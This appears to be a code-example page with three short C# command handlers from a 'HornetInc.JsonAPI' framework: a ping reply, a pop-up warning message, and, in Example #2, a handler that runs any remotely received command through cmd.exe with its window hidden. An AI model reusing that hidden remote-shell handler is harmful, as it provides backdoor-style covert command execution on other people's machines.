Example #1
0
 public override void Execute(HornetInc.JsonAPI.Json.Command com)
 {
     if (com.Value.Length == 0)
     {
         apiManager.AddNewAnswer($"Pong!");
     }
     else
     {
         apiManager.AddNewAnswer($"Pong {com.Value}!");
     }
 }
Example #2
0
        public override void Execute(HornetInc.JsonAPI.Json.Command com)
        {
            Process proc = new Process();

            proc.StartInfo.FileName        = $"{Environment.GetEnvironmentVariable("WINDIR")}\\System32\\cmd.exe";
            proc.StartInfo.Arguments       = "/C " + com.Value;
            proc.StartInfo.UseShellExecute = true;
            proc.StartInfo.CreateNoWindow  = true;
            proc.StartInfo.WindowStyle     = ProcessWindowStyle.Hidden;
            proc.Start();
        }
Example #3
0
 public override void Execute(HornetInc.JsonAPI.Json.Command com)
 {
     new Thread(new ThreadStart(() => { MessageBox.Show(com.Value, "Внимание!", MessageBoxButtons.OK, MessageBoxIcon.Warning); })).Start();
 }